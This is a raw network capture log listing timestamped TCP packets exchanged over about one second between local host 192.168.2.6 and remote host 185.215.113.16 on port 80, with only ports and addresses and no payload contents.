Oct 24, 2024 11:02:46.670320034 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.670331955 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.670336962 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.670345068 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.670355082 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.670384884 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.670397043 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.670409918 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.670432091 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.670454979 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.670896053 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.670908928 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.670921087 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.670933962 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.670944929 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.670969009 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.670983076 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.671027899 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.671040058 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.671068907 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.671192884 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.671205044 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.671216011 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.671227932 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.671238899 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.671247005 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.671252012 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.671272039 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.671289921 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.671747923 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.671760082 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.671771049 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.671782017 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.671793938 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.671804905 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.671816111 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.671816111 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.671818018 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.671829939 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.671843052 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.671849966 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.671868086 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.671885014 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.671902895 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.671915054 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.671926975 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.671937943 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.671952963 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.671969891 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.673023939 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.673036098 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.673047066 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.673058033 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.673069954 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.673075914 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.673080921 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.673094034 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.673104048 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.673105955 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.673115969 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.673127890 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.673141003 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.673141956 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.673152924 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.673158884 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.673177004 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.673201084 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.673928976 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.673943043 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.673955917 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.673968077 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.673979998 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.673984051 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.674015045 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.674015045 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.674030066 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.674102068 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.674113035 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.674124002 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.674137115 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.674143076 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.674164057 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.674180984 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.783023119 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.783041000 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.783052921 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.783062935 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.783194065 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.827980042 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.828016996 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.828048944 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.828061104 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.828075886 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.828116894 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.828123093 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.828164101 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.828171015 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.828213930 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.828221083 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.828260899 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.828350067 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.828401089 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.828407049 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.828445911 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.828459024 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.828490019 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.828511953 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.828572989 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.828577042 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.828613043 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.828624964 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.828661919 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.828669071 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.828705072 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.828723907 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.828749895 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.828759909 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.828809977 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.828820944 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.828877926 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.829200029 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.829233885 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.829253912 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.829272985 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.829293013 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.829327106 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.829345942 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.829384089 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.829402924 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.829420090 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.829426050 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.829468966 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.829474926 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.829526901 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.829531908 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.829566956 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.829581976 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.829602957 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.829612970 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.829638004 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.829651117 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.829674006 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.829685926 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.829710007 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.829721928 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.829746962 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.829758883 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.829782963 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.829792976 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.829827070 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.829894066 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.829946041 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.829950094 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.829988003 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.829996109 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.830022097 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.830030918 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.830059052 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.830074072 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.830097914 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.830102921 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.830135107 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.830149889 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.830171108 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.830179930 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.830208063 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.830216885 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.830243111 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.830257893 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.830279112 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.830286026 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.830313921 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.830326080 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.830349922 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.830360889 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.830384970 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.830396891 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.830421925 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.830435991 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.830466032 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.830466032 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.830501080 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.830513000 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.830538034 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.830545902 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.830588102 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.830595970 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.830645084 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.830648899 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.830687046 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.830698967 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.830722094 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.830733061 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.830756903 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.830765963 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.830797911 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.830805063 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.830833912 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.830842972 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.830868006 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.830879927 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.830905914 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.830915928 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.830943108 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.830951929 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.830979109 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.830990076 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.831027985 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.835977077 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.836015940 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.836035013 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.836052895 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.836061001 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.836100101 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.836110115 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.836146116 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.836163044 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.836190939 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.836205006 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.836241961 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.836256027 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.836287975 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.836302042 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.836324930 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.836335897 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.836359978 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.836371899 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.836396933 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.836400986 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.836431980 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.836442947 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.836467028 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.836478949 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.836503029 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.836513996 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.836540937 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.836549997 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.836595058 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.836694956 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.836750031 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.836762905 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.836786985 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.836796999 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.836843014 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.836853981 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.836893082 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.836899042 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.836936951 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.836970091 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.836971998 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.836980104 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.837012053 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.837034941 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.837049961 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.837052107 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.837086916 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.837095976 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.837126017 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.837138891 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.837162971 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.837172985 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.837199926 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.837212086 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.837234974 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.837246895 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.837272882 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.837282896 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.837311029 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.837338924 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.837363005 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.837570906 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.837621927 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.837627888 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.837675095 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.837688923 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.837727070 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.837740898 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.837775946 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.837781906 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.837819099 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.837833881 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.837863922 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.837877035 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.837913036 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.837922096 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.837948084 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.837960958 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.837985039 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.837994099 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.838020086 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.838032007 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.838057041 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.838068008 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.838094950 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.838103056 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.838129997 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.838151932 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.838167906 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.838174105 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.838202953 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.838213921 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.838242054 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:46.838249922 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:46.838291883 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.238302946 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.238347054 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.238362074 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.238377094 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.238389015 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.238403082 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.238408089 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.238415956 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.238436937 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.238451004 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.238464117 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.238465071 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.238481045 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.238488913 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.238496065 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.238521099 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.238548040 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.238650084 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.238666058 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.238677979 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.238691092 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.238703966 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.238712072 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.238735914 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.238739014 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.238751888 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.238768101 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.238790035 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.238802910 CEST	49854	80	192.168.2.6	185.215.113.16
